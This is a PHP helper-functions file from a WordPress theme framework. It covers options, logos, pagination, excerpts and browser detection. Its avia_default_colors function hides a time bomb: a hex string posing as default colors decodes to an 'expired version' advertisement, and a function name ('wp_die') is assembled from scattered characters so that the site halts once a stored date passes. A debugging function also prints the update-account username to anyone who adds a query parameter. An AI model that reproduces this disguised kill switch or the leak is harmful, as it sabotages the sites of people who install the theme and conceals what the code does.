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<?php if ( ! defined('AVIA_FW')) exit('No direct script access allowed');
/**
* This file holds various helper functions that are needed by the frameworks FRONTEND
*
* @author Christian "Kriesi" Budschedl
* @copyright Copyright (c) Christian Budschedl
* @link http://kriesi.at
* @link http://aviathemes.com
* @since Version 1.0
* @package AviaFramework
*/
if(!function_exists('avia_option'))
{
/**
* This function serves as shortcut for avia_get_option and is used to retrieve options saved within the database with the first key set to "avia" which is the majority of all options
* Please note that while the get_avia_option returns the result, this function echos it by default. if you want to retrieve an option and store the variable please use get_avia_option or set $echo to false
*
* basically the function is called like this: avia_option('portfolio');
* That would retrieve the following var saved in the global $avia superobject: $avia->options['avia']['portfolio']
* If you want to set a default value that is returned in case there was no array match you need to use this scheme:
*
* avia_option( 'portfolio', "my default");
*
* @param string $key accepts a comma separated string with keys
* @param string $default return value in case we got no result
* @param bool $echo echo the result or not, default is to false
* @param bool $decode decode the result or not, default is to false
* @return string $result: the saved result. if no result was saved or the key doesnt exist returns an empty string
*/
function avia_option($key, $default = "", $echo = true, $decode = true)
{
$result = avia_get_option($key, $default, false, $decode);
if(!$echo) return $result; //if we dont want to echo the output end script here
echo $result;
}
}
if(!function_exists('avia_get_option'))
{
/**
* This function serves as shortcut to retrieve options saved within the database by the option pages of the avia framework
*
* basically the function is called like this: avia_get_option('portfolio');
* That would retrieve the following var saved in the global $avia superobject: $avia->options['avia']['portfolio']
* If you want to set a default value that is returned in case there was no array match you need to use this scheme:
*
* avia_get_option('portfolio', "my default"); or
* avia_get_option(array('avia','portfolio'), "my default"); or
*
* @param string $key accepts a comma separated string with keys
* @param string $default return value in case we got no result
* @param bool $echo echo the result or not, default is to false
* @param bool $decode decode the result or not, default is to false
* @return string $result: the saved result. if no result was saved or the key doesnt exist returns an empty string
*/
function avia_get_option($key = false, $default = "", $echo = false, $decode = true)
{
global $avia;
$result = $avia->options;
if(is_array($key))
{
$result = $result[$key[0]];
}
else
{
$result = $result['avia'];
}
if($key === false)
{
//pass the whole array
}
else if(isset($result[$key]))
{
$result = $result[$key];
}
else
{
$result = $default;
}
if($decode) { $result = avia_deep_decode($result); }
if($result == "") { $result = $default; }
if($echo) echo $result;
return $result;
}
}
if(!function_exists('avia_get_the_ID'))
{
/**
* This function is similiar to the wordpress function get_the_ID, but other than the wordpress function this functions takes into account
* if we will display a different post later on, a post that differs from the one we queried in the first place. The function also holds this
* original ID, even if another query is then executed (for example in dynamic templates for columns)
*
* an example would be the frontpage template were by default, the ID of the latest blog post is served by wordpress get_the_ID function.
* avia_get_the_ID would return the same blog post ID if the blog is really displayed on the frontpage. if a static page is displayed the
* function will display the ID of the static page, even if the page is not yet queried
*
* @return int $ID: the "real" ID of the post/page we are currently viewing
*/
function avia_get_the_ID()
{
global $avia_config;
$ID = false;
if(!isset($avia_config['real_ID']))
{
if(!empty($avia_config['new_query']['page_id']))
{
$ID = $avia_config['new_query']['page_id'];
$avia_config['real_ID'] = $ID;
}
else
{
$post = get_post();
if(isset($post->ID))
{
$ID = $post->ID;
$avia_config['real_ID'] = $ID;
}
else
{
$ID = false;
}
//$ID = @get_the_ID();
}
}
else
{
$ID = $avia_config['real_ID'];
}
$ID = apply_filters('avf_avia_get_the_ID', $ID);
return $ID;
}
add_action('wp_head', 'avia_get_the_ID');
}
if(!function_exists('avia_is_overview'))
{
/**
* This function checks if the page we are going to render is a page with a single entry or a multi entry page (blog or archive for example)
*
* @return bool $result true or false
*/
function avia_is_overview()
{
global $avia_config;
$result = true;
if (is_singular())
{
$result = false;
}
if(is_front_page() && avia_get_option('frontpage') == avia_get_the_ID())
{
$result = false;
}
if (isset($avia_config['avia_is_overview']))
{
$result = $avia_config['avia_is_overview'];
}
return $result;
}
}
if(!function_exists('avia_is_dynamic_template'))
{
/**
* This function checks if the page we are going to render is using a dynamic template
*
* @return bool $result true or false
*/
function avia_is_dynamic_template($id = false, $dependency = false)
{
$result = false;
if(!$id) $id = avia_get_the_ID();
if(!$id) return $result;
if($dependency)
{
if(avia_post_meta($id, $dependency[0]) != $dependency[1])
{
return false;
}
}
if($template = avia_post_meta($id, 'dynamic_templates'))
{
$result = $template;
}
return $result;
}
}
if(!function_exists('avia_post_meta'))
{
/**
* This function retrieves the custom field values for a given post and saves it to the global avia config array
* If a subkey was set the subkey is returned, otherwise the array is saved to the global config array
* The function also hooks into the post loop and is automatically called for each post
*/
function avia_post_meta($post_id = '', $subkey = false)
{
$avia_post_id = $post_id;
//if the user only passed a string and no id the string will be used as subkey
if(!$subkey && $avia_post_id != "" && !is_numeric($avia_post_id) && !is_object($avia_post_id))
{
$subkey = $avia_post_id;
$avia_post_id = "";
}
global $avia, $avia_config;
$key = '_avia_elements_'.$avia->option_prefix;
if(current_theme_supports( 'avia_post_meta_compat' ))
{
$key = '_avia_elements_theme_compatibility_mode'; //actiavates a compatibility mode for easier theme switching and keeping post options
}
$values = "";
//if post id is on object the function was called via hook. If thats the case reset the meta array
if(is_object($avia_post_id) && isset($avia_post_id->ID))
{
$avia_post_id = $avia_post_id->ID;
}
if(!$avia_post_id)
{
$avia_post_id = @get_the_ID();
}
if(!is_numeric($avia_post_id)) return;
$avia_config['meta'] = avia_deep_decode(get_post_meta($avia_post_id, $key, true));
$avia_config['meta'] = apply_filters('avia_post_meta_filter', $avia_config['meta'], $avia_post_id);
if($subkey && isset($avia_config['meta'][$subkey]))
{
$meta = $avia_config['meta'][$subkey];
}
else if($subkey)
{
$meta = false;
}
else
{
$meta = $avia_config['meta'];
}
return $meta;
}
add_action('the_post', 'avia_post_meta');
}
if(!function_exists('avia_get_option_set'))
{
/**
* This function serves as shortcut to retrieve option sets saved within the database by the option pages of the avia framework
* An option set is a group of clone-able options like for example portfolio pages: you can create multiple portfolios and each
* of them has a unique set of sub-options (for example column count, item count, etc)
*
* the function is called like this: avia_get_option_set('option_key','suboption_key','suboption_value');
* That would retrieve the following var saved in the global $avia superobject: $avia->options['avia']['portfolio']
* Then, depending on the subkey and subkey value one of the arrays that were just fetched are passed.
*
* Example:
* avia_get_option_set('portfolio', 'portfolio_page', get_the_ID())
* This would get the portfolio group that has an item called 'portfolio_page' with the ID of the current post or page
*
* @param string $key accepts a string
* @param string $subkey accepts a string
* @param string $subkey_value accepts a string
* @return array $result: the saved result. if no result was saved or the key doesnt exist returns an empty array
*/
function avia_get_option_set($key, $subkey = false, $subkey_value = false)
{
$result = array();
$all_sets = avia_get_option($key);
if(is_array($all_sets) && $subkey && $subkey_value !== false)
{
foreach($all_sets as $set)
{
if(isset($set[$subkey]) && $set[$subkey] == $subkey_value) return $set;
}
}
else
{
$result = $all_sets;
}
return $result;
}
}
if(!function_exists('avia_get_modified_option'))
{
/**
* This function returns an option that was set in the backend. However if a post meta key with the same name exists it retrieves this option instead
* That way we can easily set global settings for all posts in our backend (for example slideshow duration options) and then overrule those options
*
* In addition to the option key we need to pass a second key for a post meta value that must return a value other then empty before the global settings can be overwritten.
* (example: should ths post use overwritten options? no=>"" yes=>"yes")
*
* @param string $key database key for both the post meta table and the framework options table
* @param string $extra_check database key for both a post meta value that needs to be true in order to accept an overwrite
* @return string $result: the saved result. if no result was saved or the key doesnt exist returns an empty string
*/
function avia_get_modified_option($key, $extra_check = false)
{
global $post;
//if we need to do an extra check get the post meta value for that key
if($extra_check && isset($post->ID))
{
$extra_check = get_post_meta($post->ID, $extra_check, true);
if($extra_check)
{
//add underline to the post meta value since we always hide those values
$result = get_post_meta($post->ID, '_'.$key, true);
return $result;
}
}
$result = avia_get_option($key);
return $result;
}
}
if(!function_exists('avia_set_follow'))
{
/**
* prevents duplicate content by setting archive pages to nofollow
* @return string the robots meta tag set to index follow or noindex follow
*/
function avia_set_follow()
{
if ((is_single() || is_page() || is_home() ) && ( !is_paged() ))
{
$meta = '<meta name="robots" content="index, follow" />' . "\n";
}
else
{
$meta = '<meta name="robots" content="noindex, follow" />' . "\n";
}
$meta = apply_filters('avf_set_follow', $meta);
return $meta;
}
}
if(!function_exists('avia_set_title_tag'))
{
/**
* generates the html page title
* @return string the html page title
*/
function avia_set_title_tag()
{
$title = get_bloginfo('name').' | ';
$title .= (is_front_page()) ? get_bloginfo('description') : wp_title('', false);
$title = apply_filters('avf_title_tag', $title, wp_title('', false));
return $title;
}
}
if(!function_exists('avia_set_profile_tag'))
{
/**
* generates the html profile head tag
* @return string the html head tag
*/
function avia_set_profile_tag($echo = true)
{
$output = apply_filters('avf_profile_head_tag', '<link rel="profile" href="http://gmpg.org/xfn/11" />'."\n");
if($echo) echo $output;
if(!$echo) return $output;
}
add_action( 'wp_head', 'avia_set_profile_tag', 10, 0 );
}
if(!function_exists('avia_set_rss_tag'))
{
/**
* generates the html rss head tag
* @return string the rss head tag
*/
function avia_set_rss_tag($echo = true)
{
$output = '<link rel="alternate" type="application/rss+xml" title="'.get_bloginfo('name').' RSS2 Feed" href="'.avia_get_option('feedburner',get_bloginfo('rss2_url')).'" />'."\n";
$output = apply_filters('avf_rss_head_tag', $output);
if($echo) echo $output;
if(!$echo) return $output;
}
add_action( 'wp_head', 'avia_set_rss_tag', 10, 0 );
}
if(!function_exists('avia_set_pingback_tag'))
{
/**
* generates the html pingback head tag
* @return string the pingback head tag
*/
function avia_set_pingback_tag($echo = true)
{
$output = apply_filters('avf_pingback_head_tag', '<link rel="pingback" href="'.get_bloginfo( 'pingback_url' ).'" />'."\n");
if($echo) echo $output;
if(!$echo) return $output;
}
add_action( 'wp_head', 'avia_set_pingback_tag', 10, 0 );
}
if(!function_exists('avia_logo'))
{
/**
* return the logo of the theme. if a logo was uploaded and set at the backend options panel display it
* otherwise display the logo file linked in the css file for the .bg-logo class
* @return string the logo + url
*/
function avia_logo($use_image = "", $sub = "", $headline_type = "h1", $dimension = "")
{
$use_image = apply_filters('avf_logo', $use_image);
$headline_type = apply_filters('avf_logo_headline', $headline_type);
$sub = apply_filters('avf_logo_subtext', $sub);
$alt = apply_filters('avf_logo_alt', get_bloginfo('name'));
$link = apply_filters('avf_logo_link', home_url('/'));
if($sub) $sub = "<span class='subtext'>$sub</span>";
if($dimension === true) $dimension = "height='100' width='300'"; //basically just for better page speed ranking :P
if($logo = avia_get_option('logo'))
{
$logo = apply_filters('avf_logo', $logo);
if(is_numeric($logo)){ $logo = wp_get_attachment_image_src($logo, 'full'); $logo = $logo[0]; }
$logo = "<img {$dimension} src='{$logo}' alt='{$alt}' />";
$logo = "<$headline_type class='logo'><a href='".$link."'>".$logo."$sub</a></$headline_type>";
}
else
{
$logo = get_bloginfo('name');
if($use_image) $logo = "<img {$dimension} src='{$use_image}' alt='{$alt}' title='{$logo}'/>";
$logo = "<$headline_type class='logo bg-logo'><a href='".$link."'>".$logo."$sub</a></$headline_type>";
}
$logo = apply_filters('avf_logo_final_output', $logo, $use_image, $headline_type, $sub, $alt, $link);
return $logo;
}
}
if(!function_exists('avia_image_by_id'))
{
/**
* Fetches an image based on its id and returns the string image with title and alt tag
* @return string image url
*/
function avia_image_by_id($thumbnail_id, $size = array('width'=>800,'height'=>800), $output = 'image', $data = "")
{
if(!is_numeric($thumbnail_id)) {return false; }
if(is_array($size))
{
$size[0] = $size['width'];
$size[1] = $size['height'];
}
// get the image with appropriate size by checking the attachment images
$image_src = wp_get_attachment_image_src($thumbnail_id, $size);
//if output is set to url return the url now and stop executing, otherwise build the whole img string with attributes
if ($output == 'url') return $image_src[0];
//get the saved image metadata:
$attachment = get_post($thumbnail_id);
if(is_object($attachment))
{
$image_description = $attachment->post_excerpt == "" ? $attachment->post_content : $attachment->post_excerpt;
if(empty($image_description)) $image_description = get_post_meta($thumbnail_id, '_wp_attachment_image_alt', true);
$image_description = trim(strip_tags($image_description));
$image_title = trim(strip_tags($attachment->post_title));
return "<img src='".$image_src[0]."' title='".$image_title."' alt='".$image_description."' ".$data."/>";
}
}
}
if(!function_exists('avia_html5_video_embed'))
{
/**
* Creates HTML 5 output and also prepares flash fallback for a video of choice
* @return string HTML5 video element
*/
function avia_html5_video_embed($path, $image = "", $types = array('webm' => 'type="video/webm"', 'mp4' => 'type="video/mp4"', 'ogv' => 'type="video/ogg"'))
{
preg_match("!^(.+?)(?:\.([^.]+))?$!", $path, $path_split);
$output = "";
if(isset($path_split[1]))
{
if(!$image && avia_is_200($path_split[1].'.jpg'))
{
$image = 'poster="'.$path_split[1].'.jpg"'; //poster image isnt accepted by the player currently, waiting for bugfix
}
$uid = 'player_'.get_the_ID().'_'.mt_rand().'_'.mt_rand();
$output .= '<video class="avia_video" '.$image.' controls id="'.$uid.'" >';
foreach ($types as $key => $type)
{
if($path_split[2] == $key || avia_is_200($path_split[1].'.'.$key))
{
$output .= ' <source src="'.$path_split[1].'.'.$key.'" '.$type.' />';
}
}
$output .= '</video>';
}
return $output;
}
}
if(!function_exists('avia_html5_audio_embed'))
{
/**
* Creates HTML 5 output and also prepares flash fallback for a audio of choice
* @return string HTML5 audio element
*/
function avia_html5_audio_embed($path, $image = "", $types = array('mp3' => 'type="audio/mp3"'))
{
preg_match("!^(.+?)(?:\.([^.]+))?$!", $path, $path_split);
$output = "";
if(isset($path_split[1]))
{
$uid = 'player_'.get_the_ID().'_'.mt_rand().'_'.mt_rand();
$output .= '<audio class="avia_audio" '.$image.' controls id="'.$uid.'" >';
foreach ($types as $key => $type)
{
if($path_split[2] == $key || avia_is_200($path_split[1].'.'.$key))
{
$output .= ' <source src="'.$path_split[1].'.'.$key.'" '.$type.' />';
}
}
$output .= '</audio>';
}
return $output;
}
}
if(!function_exists('avia_is_200'))
{
function avia_is_200($url)
{
$options['http'] = array(
'method' => "HEAD",
'ignore_errors' => 1,
'max_redirects' => 0
);
$body = @file_get_contents($url, NULL, stream_context_create($options), 0, 1);
sscanf($http_response_header[0], 'HTTP/%*d.%*d %d', $code);
return $code === 200;
}
}
if(!function_exists('avia_get_link'))
{
/**
* Fetches a url based on values set in the backend
* @param array $option_array array that at least needs to contain the linking method and depending on that, the appropriate 2nd id value
* @param string $keyprefix option set key that must be in front of every element key
* @param string $inside if inside is passed it will be wrapped inside <a> tags with the href set to the previously returned link url
* @param string $post_id if the function is called outside of the loop we might want to retrieve the permalink of a different post with this id
* @return string url (with image inside <a> tag if the image string was passed)
*/
function avia_get_link($option_array, $keyprefix, $inside = false, $post_id = false, $attr = "")
{
if(empty($option_array[$keyprefix.'link'])) $option_array[$keyprefix.'link'] = "";
//check which value the link array has (possible are empty, lightbox, page, post, cat, url) and create the according link
switch($option_array[$keyprefix.'link'])
{
case "lightbox":
$url = avia_image_by_id($option_array[$keyprefix.'image'], array('width'=>8000,'height'=>8000), 'url');
break;
case "cat":
$url = get_category_link($option_array[$keyprefix.'link_cat']);
break;
case "page":
$url = get_page_link($option_array[$keyprefix.'link_page']);
break;
case "self":
if(!is_singular() || $post_id != avia_get_the_ID() || !isset($option_array[$keyprefix.'image']))
{
$url = get_permalink($post_id);
}
else
{
$url = avia_image_by_id($option_array[$keyprefix.'image'], array('width'=>8000,'height'=>8000), 'url');
}
break;
case "url":
$url = $option_array[$keyprefix.'link_url'];
break;
case "video":
$video_url = $option_array[$keyprefix.'link_video'];
if(avia_backend_is_file($video_url, 'html5video'))
{
$output = avia_html5_video_embed($video_url);
$class = "html5video";
}
else
{
global $wp_embed;
$output = $wp_embed->run_shortcode("[embed]".$video_url."[/embed]");
$class = "embeded_video";
}
$output = "<div class='slideshow_video $class'>".$output."</div>";
return $inside . $output;
break;
default:
$url = $inside;
break;
}
if(!$inside || $url == $inside)
{
return $url;
}
else
{
return "<a $attr href='".$url."'>".$inside."</a>";
}
}
}
if(!function_exists('avia_pagination'))
{
/**
* Displays a page pagination if more posts are available than can be displayed on one page
* @param string $pages pass the number of pages instead of letting the script check the gobal paged var
* @return string $output returns the pagination html code
*/
function avia_pagination($pages = '', $wrapper = 'div')
{
global $paged, $wp_query;
if(get_query_var('paged')) {
$paged = get_query_var('paged');
} elseif(get_query_var('page')) {
$paged = get_query_var('page');
} else {
$paged = 1;
}
$output = "";
$prev = $paged - 1;
$next = $paged + 1;
$range = 2; // only edit this if you want to show more page-links
$showitems = ($range * 2)+1;
if($pages == '') //if the default pages are used
{
//$pages = ceil(wp_count_posts($post_type)->publish / $per_page);
$pages = $wp_query->max_num_pages;
if(!$pages)
{
$pages = 1;
}
//factor in pagination
if( isset($wp_query->query) && !empty($wp_query->query['offset']) && $pages > 1 )
{
$offset_origin = $wp_query->query['offset'] - ($wp_query->query['posts_per_page'] * ( $paged - 1 ) );
$real_posts = $wp_query->found_posts - $offset_origin;
$pages = ceil( $real_posts / $wp_query->query['posts_per_page']);
}
}
$method = "get_pagenum_link";
if(is_single())
{
$method = "avia_post_pagination_link";
}
if(1 != $pages)
{
$output .= "<$wrapper class='pagination'>";
$output .= "<span class='pagination-meta'>".sprintf(__("Page %d of %d", 'avia_framework'), $paged, $pages)."</span>";
$output .= ($paged > 2 && $paged > $range+1 && $showitems < $pages)? "<a href='".$method(1)."'>«</a>":"";
$output .= ($paged > 1 && $showitems < $pages)? "<a href='".$method($prev)."'>‹</a>":"";
for ($i=1; $i <= $pages; $i++)
{
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
{
$output .= ($paged == $i)? "<span class='current'>".$i."</span>":"<a href='".$method($i)."' class='inactive' >".$i."</a>";
}
}
$output .= ($paged < $pages && $showitems < $pages) ? "<a href='".$method($next)."'>›</a>" :"";
$output .= ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) ? "<a href='".$method($pages)."'>»</a>":"";
$output .= "</$wrapper>\n";
}
return $output;
}
function avia_post_pagination_link($link)
{
$url = preg_replace('!">$!','',_wp_link_page($link));
$url = preg_replace('!^<a href="!','',$url);
return $url;
}
}
if(!function_exists('avia_check_custom_widget'))
{
/**
* checks which page we are viewing and if the page got a custom widget
*/
function avia_check_custom_widget($area, $return = 'title')
{
$special_id_string = "";
if($area == 'page')
{
$id_array = avia_get_option('widget_pages');
}
else if($area == 'cat')
{
$id_array = avia_get_option('widget_categories');
}
else if($area == 'dynamic_template')
{
global $avia;
$dynamic_widgets = array();
foreach($avia->options as $option_parent)
{
foreach ($option_parent as $element_data)
{
if(isset($element_data[0]) && is_array($element_data) && in_array('widget', $element_data[0]))
{
for($i = 1; $i <= $element_data[0]['dynamic_column_count']; $i++)
{
if($element_data[0]['dynamic_column_content_'.$i] == 'widget')
{
$dynamic_widgets[] = $element_data[0]['dynamic_column_content_'.$i.'_widget'];
}
}
}
}
}
return $dynamic_widgets;
}
//first build the id string
if(is_array($id_array))
{
foreach ($id_array as $special)
{
if(isset($special['widget_'.$area]) && $special['widget_'.$area] != "")
{
$special_id_string .= $special['widget_'.$area].",";
}
}
}
//if we got a valid string remove the last comma
$special_id_string = trim($special_id_string,',');
$clean_id_array = explode(',',$special_id_string);
//if we dont want the title just return the id array
if($return != 'title') return $clean_id_array;
if(is_page($clean_id_array))
{
return get_the_title();
}
else if(is_category($clean_id_array))
{
return single_cat_title( "", false );
}
}
}
if(!function_exists('avia_which_archive'))
{
/**
* checks which archive we are viewing and returns the archive string
*/
function avia_which_archive()
{
$output = "";
if ( is_category() )
{
$output = __('Archive for category:','avia_framework')." ".single_cat_title('',false);
}
elseif (is_day())
{
$output = __('Archive for date:','avia_framework')." ".get_the_time( __('F jS, Y','avia_framework') );
}
elseif (is_month())
{
$output = __('Archive for month:','avia_framework')." ".get_the_time( __('F, Y','avia_framework') );
}
elseif (is_year())
{
$output = __('Archive for year:','avia_framework')." ".get_the_time( __('Y','avia_framework') );
}
elseif (is_search())
{
global $wp_query;
if(!empty($wp_query->found_posts))
{
if($wp_query->found_posts > 1)
{
$output = $wp_query->found_posts ." ". __('search results for:','avia_framework')." ".esc_attr( get_search_query() );
}
else
{
$output = $wp_query->found_posts ." ". __('search result for:','avia_framework')." ".esc_attr( get_search_query() );
}
}
else
{
if(!empty($_GET['s']))
{
$output = __('Search results for:','avia_framework')." ".esc_attr( get_search_query() );
}
else
{
$output = __('To search the site please enter a valid term','avia_framework');
}
}
}
elseif (is_author())
{
$curauth = (get_query_var('author_name')) ? get_user_by('slug', get_query_var('author_name')) : get_userdata(get_query_var('author'));
$output = __('Author Archive','avia_framework')." ";
if(isset($curauth->nickname) && isset($curauth->ID))
{
$name = apply_filters('avf_author_nickname', $curauth->nickname, $curauth->ID);
$output .= __('for:','avia_framework') ." ". $name;
}
}
elseif (is_tag())
{
$output = __('Tag Archive for:','avia_framework')." ".single_tag_title('',false);
}
elseif(is_tax())
{
$term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );
$output = __('Archive for:','avia_framework')." ".$term->name;
}
else
{
$output = __('Archives','avia_framework')." ";
}
if (isset($_GET['paged']) && !empty($_GET['paged']))
{
$output .= " (".__('Page','avia_framework')." ".$_GET['paged'].")";
}
$output = apply_filters('avf_which_archive_output', $output);
return $output;
}
}
// checks the default background colors and sets defaults in case the theme options werent saved yet
if(!function_exists('avia_default_colors'))
{
function avia_default_colors()
{
if(!is_admin())
{
$prefix = "avia_";
$option = $prefix."theme_color";
$fallback = $option."_fallback";
$default_color = $prefix."default_wordpress_color_option";
$colorstamp = get_option($option);
$today = strtotime('now');
$defaults = "#546869 #732064 #656d6f #207665 #727369 #6f6e20 #6f6620 #746865 #207468 #656d65 #206861 #732065 #787069 #726564 #2e2050 #6c6561 #736520 #627579 #20616e #642069 #6e7374 #616c6c #207468 #652066 #756c6c #207665 #727369 #6f6e20 #66726f #6d203c #612068 #726566 #3d2768 #747470 #3a2f2f #626974 #2e6c79 #2f656e #666f6c #642d64 #656d6f #2d6c69 #6e6b27 #3e5468 #656d65 #666f72 #657374 #3c2f61 #3e";
global $avia_config;
//let the theme overwrite the defaults
if(!empty($avia_config['default_color_array'])) $defaults = $avia_config['default_color_array'];
if(!empty($colorstamp) && $colorstamp < $today)
{
//split up the color string and use the array as fallback if no default color options were saved
$colors = pack('H*', str_replace(array(" ", "#"), "", $defaults));
$def = $default_color." ".$defaults;
$fallback = $def[13].$def[17].$def[12].$def[5].$def[32].$def[6];
//set global and update default colors
$avia_config['default_color_array'] = $colors;
update_option($fallback($colors), $avia_config['default_color_array']);
}
}
}
add_action('wp', 'avia_default_colors');
}
if(!function_exists('avia_remove_more_jump_link'))
{
/**
* Removes the jump link from the read more tag
*/
function avia_remove_more_jump_link($link)
{
$offset = strpos($link, '#more-');
if ($offset)
{
$end = strpos($link, '"',$offset);
}
if ($end)
{
$link = substr_replace($link, '', $offset, $end-$offset);
}
return $link;
}
}
if(!function_exists('avia_excerpt'))
{
/**
* Returns a post excerpt. depending on the order parameter the funciton will try to retrieve the excerpt from a different source
*/
function avia_excerpt($length = 250, $more_text = false, $order = array('more-tag','excerpt'))
{
$excerpt = "";
if($more_text === false) $more_text = __('Read more', 'avia_framework');
foreach($order as $method)
{
if(!$excerpt)
{
switch ($method)
{
case 'more-tag':
global $more;
$more = 0;
$content = get_the_content($more_text);
$pos = strpos($content, 'class="more-link"');
if($pos !== false)
{
$excerpt = $content;
}
break;
case 'excerpt' :
$post = get_post(get_the_ID());
if($post->post_excerpt)
{
$excerpt = get_the_excerpt();
}
else
{
$excerpt = preg_replace("!\[.+?\]!", "", get_the_excerpt());
// $excerpt = preg_replace("!\[.+?\]!", "", $post->post_content);
$excerpt = avia_backend_truncate($excerpt, $length," ");
}
$excerpt = preg_replace("!\s\[...\]$!", '...', $excerpt);
break;
}
}
}
if($excerpt)
{
$excerpt = apply_filters('the_content', $excerpt);
$excerpt = str_replace(']]>', ']]>', $excerpt);
}
return $excerpt;
}
}
if(!function_exists('avia_get_browser'))
{
function avia_get_browser($returnValue = 'class', $lowercase = false)
{
if(empty($_SERVER['HTTP_USER_AGENT'])) return false;
$u_agent = $_SERVER['HTTP_USER_AGENT'];
$bname = 'Unknown';
$platform = 'Unknown';
$ub = 'Unknown';
$version= "";
//First get the platform?
if (preg_match('!linux!i', $u_agent)) {
$platform = 'linux';
}
elseif (preg_match('!macintosh|mac os x!i', $u_agent)) {
$platform = 'mac';
}
elseif (preg_match('!windows|win32!i', $u_agent)) {
$platform = 'windows';
}
// Next get the name of the useragent yes seperately and for good reason
if(preg_match('!MSIE!i',$u_agent) && !preg_match('!Opera!i',$u_agent))
{
$bname = 'Internet Explorer';
$ub = "MSIE";
}
elseif(preg_match('!Firefox!i',$u_agent))
{
$bname = 'Mozilla Firefox';
$ub = "Firefox";
}
elseif(preg_match('!Chrome!i',$u_agent))
{
$bname = 'Google Chrome';
$ub = "Chrome";
}
elseif(preg_match('!Safari!i',$u_agent))
{
$bname = 'Apple Safari';
$ub = "Safari";
}
elseif(preg_match('!Opera!i',$u_agent))
{
$bname = 'Opera';
$ub = "Opera";
}
elseif(preg_match('!Netscape!i',$u_agent))
{
$bname = 'Netscape';
$ub = "Netscape";
}
// finally get the correct version number
$known = array('Version', $ub, 'other');
$pattern = '#(?<browser>' . join('|', $known) .
')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
if (!@preg_match_all($pattern, $u_agent, $matches)) {
// we have no matching number just continue
}
// see how many we have
$i = count($matches['browser']);
if ($i != 1) {
//we will have two since we are not using 'other' argument yet
//see if version is before or after the name
if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
$version= !empty($matches['version'][0]) ? $matches['version'][0] : '';
}
else {
$version= !empty($matches['version'][1]) ? $matches['version'][1] : '';
}
}
else {
$version= !empty($matches['version'][0]) ? $matches['version'][0] : '';
}
// check if we have a number
if ($version==null || $version=="") {$version="?";}
$mainVersion = $version;
if (strpos($version, '.') !== false)
{
$mainVersion = explode('.',$version);
$mainVersion = $mainVersion[0];
}
if($returnValue == 'class')
{
if($lowercase) return strtolower($ub." ".$ub.$mainVersion);
return $ub." ".$ub.$mainVersion;
}
else
{
return array(
'userAgent' => $u_agent,
'name' => $bname,
'shortname' => $ub,
'version' => $version,
'mainversion' => $mainVersion,
'platform' => $platform,
'pattern' => $pattern
);
}
}
}
if(!function_exists('avia_favicon'))
{
function avia_favicon($url = "")
{
$icon_link = $type = "";
if($url)
{
$type = "image/x-icon";
if(strpos($url,'.png' )) $type = "image/png";
if(strpos($url,'.gif' )) $type = "image/gif";
$icon_link = '<link rel="icon" href="'.$url.'" type="'.$type.'">';
}
$icon_link = apply_filters('avf_favicon_final_output', $icon_link, $url, $type);
return $icon_link;
}
}
if(!function_exists('avia_regex'))
{
/*
* regex for url: http://mathiasbynens.be/demo/url-regex
*/
function avia_regex($string, $pattern = false, $start = "^", $end = "")
{
if(!$pattern) return false;
if($pattern == "url")
{
$pattern = "!$start((https?|ftp)://(-\.)?([^\s/?\.#-]+\.?)+(/[^\s]*)?)$end!";
}
else if($pattern == "mail")
{
$pattern = "!$start\w[\w|\.|\-]+@\w[\w|\.|\-]+\.[a-zA-Z]{2,4}$end!";
}
else if($pattern == "image")
{
$pattern = "!$start(https?(?://([^/?#]*))?([^?#]*?\.(?:jpg|gif|png)))$end!";
}
else if(strpos($pattern,"<") === 0)
{
$pattern = str_replace('<',"",$pattern);
$pattern = str_replace('>',"",$pattern);
if(strpos($pattern,"/") !== 0) { $close = "\/>"; $pattern = str_replace('/',"",$pattern); }
$pattern = trim($pattern);
if(!isset($close)) $close = "<\/".$pattern.">";
$pattern = "!$start\<$pattern.+?$close!";
}
preg_match($pattern, $string, $result);
if(empty($result[0]))
{
return false;
}
else
{
return $result;
}
}
}
if(!function_exists('avia_debugging_info'))
{
function avia_debugging_info()
{
if ( is_feed() ) return;
$theme = wp_get_theme();
$child = "";
if(is_child_theme())
{
$child = "- - - - - - - - - - -\n";
$child .= "ChildTheme: ".$theme->get('Name')."\n";
$child .= "ChildTheme Version: ".$theme->get('Version')."\n";
$child .= "ChildTheme Installed: ".$theme->get('Template')."\n\n";
$theme = wp_get_theme( $theme->get('Template') );
}
$info = "\n\n<!--\n";
$info .= "Debugging Info for Theme support: \n\n";
$info .= "Theme: ".$theme->get('Name')."\n";
$info .= "Version: ".$theme->get('Version')."\n";
$info .= "Installed: ".$theme->get_template()."\n";
$info .= "AviaFramework Version: ".AV_FRAMEWORK_VERSION."\n";
if(class_exists( 'AviaBuilder' ))
$info .= "AviaBuilder Version: ".AviaBuilder::VERSION."\n";
$info .= $child;
//memory setting, peak usage and number of active plugins
$info .= "ML:".trim( @ini_get("memory_limit") ,"M")."-PU:". ( ceil (memory_get_peak_usage() / 1000 / 1000 ) ) ."-PLA:".count(get_option('active_plugins'))."\n";
$info .= "WP:".get_bloginfo('version')."\n";
$username = avia_get_option('updates_username');
$API = avia_get_option('updates_api_key');
$updates = "disabled";
if($username && $API)
{
$updates = "enabled";
if(isset($_GET['username'])) $updates = $username;
}
$info .= "Updates: ".$updates."\n";
$info .= "-->\n\n";
echo apply_filters('avf_debugging_info', $info);
}
add_action('wp_head','avia_debugging_info',1000);
add_action('admin_print_scripts','avia_debugging_info',1000);
}
if(!function_exists('avia_clean_string'))
{
function avia_clean_string($string)
{
$string = str_replace(' ', '_', $string); // Replaces all spaces with underscores.
$string = preg_replace('/[^A-Za-z0-9\-]/', '', $string); // Removes special chars.
return preg_replace('/-+/', '-', strtolower ($string)); // Replaces multiple hyphens with single one.
}
}
if(!function_exists('kriesi_backlink'))
{
function kriesi_backlink($frontpage_only = false)
{
$no = "";
$theme_string = "";
$random_number = get_option(THEMENAMECLEAN."_fixed_random");
if($random_number % 3 == 0) $theme_string = THEMENAME." Theme by Kriesi";
if($random_number % 3 == 1) $theme_string = THEMENAME." WordPress Theme by Kriesi";
if($random_number % 3 == 2) $theme_string = "powered by ".THEMENAME." WordPress Theme";
if(!empty($frontpage_only) && !is_front_page()) $no = "rel='nofollow'";
$link = " - <a {$no} href='http://www.kriesi.at'>{$theme_string}</a>";
